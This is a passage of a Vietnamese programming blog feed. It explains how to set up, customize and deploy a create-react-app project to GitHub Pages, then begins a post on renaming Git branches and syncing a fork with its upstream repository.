url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABzElEQVQoz53QTU/UQBgH8H4Gs+Jpt93OTF9ou7vtdmbamXbZUpY0rFyQE7Rk2YXTfgH0AAfEt6AbTJBgNEqIaDTZaOJL8NOZSoTTavGf/2EyyS/zzCO8HP/8fn7++euP8ZdvZ5/Gb07fvzo5e3364eTdx4Pjt7v7hzuPRtuPD+4/fbE3OnowOt7dP9x+ONp58nzv2ZFw7+7WcDjs9XobG5srK6tr2Vq6mqZplmXZen45GPTXB/3+VQdXB8H3fYwx40E7igil+vS0pusXRYpSKpVuTI4QBEHAedKJF7sLyfwcoxg7DdK0SdNx7YYsy9LkCK0wrDlYtb3W/G03iNU6EbW6pDfyarWKKFUmR2iHXPfnpvgyXtqU4vQWX77pL+Vld6bIYlkClXJ5Il7odj1Kq6LoURpHkaFrCAAFQgVCBIAoin97udPpEEIQUjDGlHr1egNChJCCUM7/gZMk8TwfQuS62DDMS1kIO45jmpYsgzBsMcYvZSHsuq5l1QCAGBPfZ6qq/Q9mjPs+q1ZlACAA8HqYUo/zwHGaGJM/ny+ELYSU2dmY88A0LcMwNU3/PXkBbJqWoqhRFM/MtDVNl2VwsfOCY+eYMW7bzrW2/QvWJLkXxvkDHgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cấu trúc project React sử dụng create-react-app" title="Cấu trúc project React sử dụng create-react-app" src="/static/5491819f16d06ddf3b194f88c162ba7e/7c811/create-react-app-init.png" srcset="/static/5491819f16d06ddf3b194f88c162ba7e/103f2/create-react-app-init.png 165w, /static/5491819f16d06ddf3b194f88c162ba7e/748ba/create-react-app-init.png 330w, /static/5491819f16d06ddf3b194f88c162ba7e/7c811/create-react-app-init.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để xem nó hoạt động như nào, bạn các chạy lệnh sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Di chuyển đến vị trí bên trong thư mục chứa project</span> $ <span class="token builtin class-name">cd</span> app-name <span class="token comment"># Tạo server</span> $ <span class="token function">yarn</span> start</code></pre></div> <p>Sau đó, bạn vào địa chỉ <code>http://127.0.0.1:3000</code> trên trình duyệt để kiểm tra kết quả. Nếu mọi thứ hoạt động bình thường thì bạn sẽ thu được màn hình như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 55.757575757575765%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABoklEQVQoz33OzWriUBQH8PsYKpLE3HxpYkyTUEwtYSoDzhTcDrPuorOcJ+jbuIuzmNzkLdyJmwhGcGPHgmC4gclNvIMJU+wH/S0Oh3v+nHNBV9NEQfhxf+953mQymU69MEA+Qr7vI4TCMAgCFIQoDBFC6Lfv/5p6X8bfDONaVTtAkaHaVvR227Itvav3dG3gXJiWbZqWbXQcu3d5aV/1jYFjWJbZUdWBo6uqpmqaIsuAhzyEsNVqsSzLcRz7H8Mwkt0XtB7TbLLlO8Mw1YgvSZIE+Pe0ymXXPx/s73dcs8lD+DYgiiIQ3iPLsigIimEqXV2SREEUXwUghIqigMYb9UZjNBp9vb39PLy5cpzxeOw4/Vqt9iJTr3McB1zX/XRmWLopvWiGp3qedF0X7Ha7NE2TJMEYPz3toihaRsvVarXZbB7/PG6323gdx3G8Xq+j5XK/32OMD4dDnuez2QykaUopPR6PVf2bnRBCilJ+QgjJSE6yLKtiRVFQSheLBUiShFKa53lRFNXsA9VGQgildD6fA4zx8+WqebXiePav5xXV5X+g30U5X+qKDwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ứng dụng React mặc định" title="Ứng dụng React mặc định" src="/static/6781141afbb9a354bccc8f1ce450cd16/7c811/create-react-app-default.png" srcset="/static/6781141afbb9a354bccc8f1ce450cd16/103f2/create-react-app-default.png 165w, /static/6781141afbb9a354bccc8f1ce450cd16/748ba/create-react-app-default.png 330w, /static/6781141afbb9a354bccc8f1ce450cd16/7c811/create-react-app-default.png 660w, /static/6781141afbb9a354bccc8f1ce450cd16/2ab73/create-react-app-default.png 749w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="tuỳ-biến-ứng-dụng-create-react-app" style="position:relative;"><a href="#tu%E1%BB%B3-bi%E1%BA%BFn-%E1%BB%A9ng-d%E1%BB%A5ng-create-react-app" aria-label="tuỳ biến ứng dụng create react app permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tuỳ biến ứng dụng create-react-app</h2> <p>Đối với ứng dụng React sử dụng create-react-app, những thứ bạn cần phải quan tâm nhất là:</p> <ul> <li>File <code>package.json</code>: chứa thông tin cấu hình project, dependencies (các node modules cần thiết), scripts,...</li> <li>Thư mục <code>src</code>: chứa các file mã nguồn của project mà bạn sẽ thao tác trực tiếp lên các file trong thư mục này.</li> <li>Thư mục <code>public</code>: chứa file <a href="/chuyen-html-template-sang-dom-node/">html với template định sẵn</a>, <code>favicon.ico</code> và <code>manifest.json</code>.</li> </ul> <p>Về cơ bản, để thay đổi ứng dụng, bạn <strong>chỉ nên</strong> thực hiện trong thư mục <code>src</code>. Và bạn <strong>không nên</strong> thay đổi nội dung trong thư mục <code>public</code>.</p> <p>Tuy nhiên, có nhiều thứ mà mình thấy rằng nên thay đổi và việc thay đổi trực tiếp trong thư mục <code>public</code> sẽ đơn giản hơn nhất nhiều.</p> <ul> <li>Trước tiên là file <code>manifest.json</code>: File này cung cấp metadata để sử dụng khi bạn đưa ứng dụng lên màn hình chính của điện thoại Android. Trong đó, bạn nên thay đổi thông tin trường <code>short_name</code> và <code>name</code> theo ứng dụng của bạn,...</li> <li>Tiếp theo là file <code>favicon.ico</code>: Đó chính là icon được sử dụng cho app và bạn cũng nên thay thế.</li> <li>Quan trọng nhất là file <code>index.html</code>: Trong file này bạn có thể sửa <strong>title</strong>, <strong>thêm các thẻ meta</strong> tuỳ thích, hoặc link đến các file <strong>css, js</strong>.</li> </ul> <p>Ví dụ file <code>index.html</code> trong 1 project của mình:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>utf-8<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1, shrink-to-fit=no<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>theme-color<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#000000<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>X-UA-Compatible<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ie=edge<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>description<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>A very simple but useful Markdown Previewer and Markdown Editor with CodeMirror<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>keywords<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>markdown, previewer, markdown previewer, codemirror, markdown editor, editor<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token comment">&lt;!-- manifest.json provides metadata used when your web app is added to the homescreen on Android. See https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/ --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>manifest<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%PUBLIC_URL%/manifest.json<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>shortcut icon<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%PUBLIC_URL%/favicon.ico<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token comment">&lt;!-- Notice the use of %PUBLIC_URL% in the tags above. It will be replaced with the URL of the `public` folder during the build. Only files inside the `public` folder can be referenced from the HTML. Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will work correctly both with client-side routing and a non-root public URL. Learn how to configure a non-root public URL by running `npm run build`. --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>Markdown Editor by Lam Pham<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://use.fontawesome.com/releases/v5.2.0/css/solid.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">integrity</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sha384-wnAC7ln+XN0UKdcPvJvtqIH3jOjs9pnKnq9qX68ImXvOGz2JuFoEiCjT8jyZQX2z<span class="token punctuation">"</span></span> <span class="token attr-name">crossorigin</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>anonymous<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://use.fontawesome.com/releases/v5.2.0/css/fontawesome.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">integrity</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sha384-HbmWTHay9psM8qyzEKPc8odH4DsOuzdejtnr+OFtDmOcIVnhgReQ4GZBH7uwcjf6<span class="token punctuation">"</span></span> <span class="token attr-name">crossorigin</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>anonymous<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%PUBLIC_URL%/lib/codemirror-5.39.2/lib/codemirror.css<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>noscript</span><span class="token punctuation">></span></span> You need to enable JavaScript to run this app. <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>noscript</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>root<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- This HTML file is a template. If you open it directly in the browser, you will see an empty page. You can add webfonts, meta tags, or analytics to this file. The build step will place the bundled scripts into the &lt;body> tag. To begin the development, run `npm start` or `yarn start`. To create a production bundle, use `npm run build` or `yarn build`. --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://cdnjs.cloudflare.com/ajax/libs/marked/0.4.0/marked.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%PUBLIC_URL%/lib/codemirror-5.39.2/lib/codemirror.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%PUBLIC_URL%/lib/codemirror-5.39.2/mode/markdown/markdown.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Bạn thấy rằng, nếu như <strong>css, js từ CDN</strong> thì bạn có thể sử dụng như bình thường.</p> <p>Nhưng khi bạn include <strong>css, js</strong> - là thư viện bên thứ 3 mà bạn đặt trong thư mục <code>public</code>, bạn cần phải chèn thêm đoạn <code>%PUBLIC_URL%</code>.</p> <p><code>%PUBLIC_URL%</code> sẽ được thay thế bằng đường dẫn của thư mục public trong quá trình build.</p> <p>Sau khi bạn đã tuỳ biến ứng dụng React theo ý mình, tiếp theo là bước deploy ứng dụng.</p> <h2 id="deploy-ứng-dụng-react-lên-github-pages" style="position:relative;"><a href="#deploy-%E1%BB%A9ng-d%E1%BB%A5ng-react-l%C3%AAn-github-pages" aria-label="deploy ứng dụng react lên github pages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Deploy ứng dụng React lên Github Pages</h2> <p>Có <strong>5 bước</strong> để deploy ứng dụng React lên Github Pages như sau:</p> <p>► <strong>Bước 1</strong>: Tạo Github repository trên Github, giả sử đường dẫn của dự án là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://github.com/completejavascript/app-name.git</code></pre></div> <p>► <strong>Bước 2</strong>: Đồng bộ ứng dụng React ở local lên Github repository thông qua các câu lệnh sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash"><span class="token comment"># Tạo mới git repository</span> $ <span class="token function">git</span> init <span class="token comment"># Thêm tất cả các file vào git</span> $ <span class="token function">git</span> <span class="token function">add</span> <span class="token builtin class-name">.</span> <span class="token comment"># Commit sự thay đổi</span> $ <span class="token function">git</span> commit -m <span class="token string">'initial commit'</span> <span class="token comment"># Add remote đến Github repository mà bạn đã tạo</span> $ <span class="token function">git</span> remote <span class="token function">add</span> origin https://github.com/completejavascript/app-name.git <span class="token comment"># Push các file lên Github</span> $ <span class="token function">git</span> push origin -u master</code></pre></div> <p>► <strong>Bước 3</strong>: Cài đặt <strong>gh-pages</strong> sử dụng npm:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> --save gh-pages</code></pre></div> <p>► <strong>Bước 4</strong>: Cập nhật file <code>package.json</code>:</p> <div class="gatsby-code-title gatsby-remark-code-title">package.json</div> <div class="gatsby-highlight has-highlighted-lines" data-language="json"><pre class="language-json"><code class="language-json"><span class="token punctuation">{</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"app-name"</span><span class="token punctuation">,</span> <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"0.1.0"</span><span class="token punctuation">,</span> <span class="token property">"private"</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token property">"homepage"</span><span class="token operator">:</span> <span class="token string">"https://completejavascript.github.io/app-name/"</span><span class="token punctuation">,</span></span> <span class="token property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token property">"gh-pages"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span> <span class="token property">"react"</span><span class="token operator">:</span> <span class="token string">"^16.4.2"</span><span class="token punctuation">,</span> <span class="token property">"react-dom"</span><span class="token operator">:</span> <span class="token string">"^16.4.2"</span><span class="token punctuation">,</span> <span class="token property">"react-scripts"</span><span class="token operator">:</span> <span class="token string">"1.1.5"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token property">"scripts"</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token property">"predeploy"</span><span class="token operator">:</span> <span class="token string">"npm run build"</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token property">"deploy"</span><span class="token operator">:</span> <span class="token string">"gh-pages -d build"</span><span class="token punctuation">,</span></span> <span class="token property">"start"</span><span class="token operator">:</span> <span class="token string">"react-scripts start"</span><span class="token punctuation">,</span> <span class="token property">"build"</span><span class="token operator">:</span> <span class="token string">"react-scripts build"</span><span class="token punctuation">,</span> <span class="token property">"test"</span><span class="token operator">:</span> <span class="token string">"react-scripts test --env=jsdom"</span><span class="token punctuation">,</span> <span class="token property">"eject"</span><span class="token operator">:</span> <span class="token string">"react-scripts eject"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <p><code>homepage</code>: Là địa chỉ của ứng dụng sau khi được deploy, có dạng:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://[your-user-name].github.io/[your-repo-name]/</code></pre></div> <p><code>predeploy</code>: định nghĩa câu lệnh để build ứng dụng trước khi deploy.<br> <code>deploy</code>: định nghĩa câu lệnh để deploy ứng dụng.</p> <p>► <strong>Bước 5</strong>: Chạy câu lệnh sau để deploy ứng dụng:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> run deploy</code></pre></div> <p>Sau khi deploy ứng dụng React thành công, bạn cần chờ một vài phút, rồi truy cập vào địa chỉ đã định nghĩa ở phần <code>homepage</code> trên để kiểm tra thành quả của mình, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://completejavascript.github.io/app-name/</code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là những bước cơ bản để tạo và deploy ứng dụng React lên Github Pages với create-react-app mà mình đã thực hiện thành công trên môi trường Windows 7.</p> <p>Tuy nhiên, nếu bạn sử dụng Windows 10 (hoặc cao hơn) thì có thể sẽ có lỗi xảy ra. Nếu bạn chưa thể tìm ra cách khắc phục, có thể để lại câu hỏi dưới phần bình luận, mình sẽ cố gắng tìm cách giải quyết giúp bạn.</p> <p>Cuối cùng, xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Tổng hợp một số trường hợp với Git]]><![CDATA[Trong bài viết hướng dẫn các câu lệnh Git cơ bản, mình đã giới thiệu với bạn về Git, cũng như những câu lệnh thường dùng với Git. Tuy nhiên, khi làm việc với project thực tế bạn sẽ…]]>https://completejavascript.com/tong-hop-mot-so-truong-hop-voi-git/https://completejavascript.com/tong-hop-mot-so-truong-hop-voi-git/<![CDATA[Command Line]]><![CDATA[Git]]>Mon, 24 Dec 2018 12:30:53 GMT<p>Trong bài viết <a href="/huong-dan-cac-cau-lenh-git-co-ban/">hướng dẫn các câu lệnh Git cơ bản</a>, mình đã giới thiệu với bạn về Git, cũng như những câu lệnh thường dùng với Git. Tuy nhiên, khi làm việc với project thực tế bạn sẽ gặp phải nhiều trường hợp oái oăm hơn rất nhiều. Vì vậy, bài viết này mình sẽ tổng hợp lại một số trường hợp với Git mà mình gặp phải và cách mình giải quyết chúng.</p> <h2 id="đổi-tên-nhánh-ở-local-và-remote-trong-git" style="position:relative;"><a href="#%C4%91%E1%BB%95i-t%C3%AAn-nh%C3%A1nh-%E1%BB%9F-local-v%C3%A0-remote-trong-git" aria-label="đổi tên nhánh ở local và remote trong git permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đổi tên nhánh ở Local và Remote trong Git</h2> <p><strong>Đặt vấn đề</strong>:</p> <p>Khi làm việc với Git, có thể bạn sẽ gặp trường hợp bạn đặt tên sai cho một nhánh ở local và đã push nó lên remote. Đặt tên "sai" ở đây có thể là về mặt chính tả, hay về ý nghĩa (tên không phù hợp với mục đích của branch). Hoặc đơn giản vì nó quá dài nên bạn cần phải sửa tên cho ngắn lại. Như vậy, để đổi tên nhánh ở local và remote trong Git, bạn có thể thực hiện theo các bước sau đây.</p> <p><strong>Giải pháp</strong>:</p> <p><strong>Bước 1:</strong> Đổi tên nhánh ở Local</p> <p>Nếu bạn đang ở trong nhánh muốn đổi tên:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> branch -m new-name</code></pre></div> <p>Nếu bạn đang ở một nhánh khác:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> branch -m old-name new-name</code></pre></div> <p><strong>Bước 2</strong>: Xoá nhánh với tên cũ ở remote và push nhánh với tên mới lên remote</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> push origin :old-name new-name</code></pre></div> <p>Đến đây là bạn đã hoàn thành việc đổi tên nhánh ở Local và Remote trong Git.</p> <h2 id="đồng-bộ-git-fork-với-original-repo" style="position:relative;"><a href="#%C4%91%E1%BB%93ng-b%E1%BB%99-git-fork-v%E1%BB%9Bi-original-repo" aria-label="đồng bộ git fork với original repo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đồng bộ Git Fork với Original Repo</h2> <p><strong>Đặt vấn đề:</strong></p> <p>Thông thường khi gặp một project hay trên Github, bạn thường <strong>fork</strong> nó về Repo của bạn để tuỳ ý phát triển. Tuy nhiên sau một thời gian, Original Repo thay đổi và cập nhật khá nhiều thứ. Vì vậy, bạn muốn đồng bộ Git Fork với Original Repo để cập nhật những tính năng mới nhất. Để thực hiện việc này bạn có thể thực hiện theo các bước sau đây.</p> <p><strong>Giải pháp:</strong></p> <p><strong>Bước 1:</strong> Thêm Original Repo vào remote</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> remote <span class="token function">add</span> upstream https://github.com/<span class="token punctuation">[</span>Original Owner Username<span class="token punctuation">]</span>/<span class="token punctuation">[</span>Original Repository<span class="token punctuation">]</span>.git</code></pre></div> <p><strong>Bước 2:</strong> Lấy về tất cả sự thay đổi từ Original Repo</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> fetch upstream</code></pre></div> <p><strong>Bước 3:</strong> Checkout nhánh bạn muốn đồng bộ, giả sử là <strong>master</strong></p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout master</code></pre></div> <p><strong>Bước 4:</strong> Merge sự thay đổi từ upstream/master vào nhánh master ở local</p> <div class="gatsby-highlight" data-language="bash"><pre 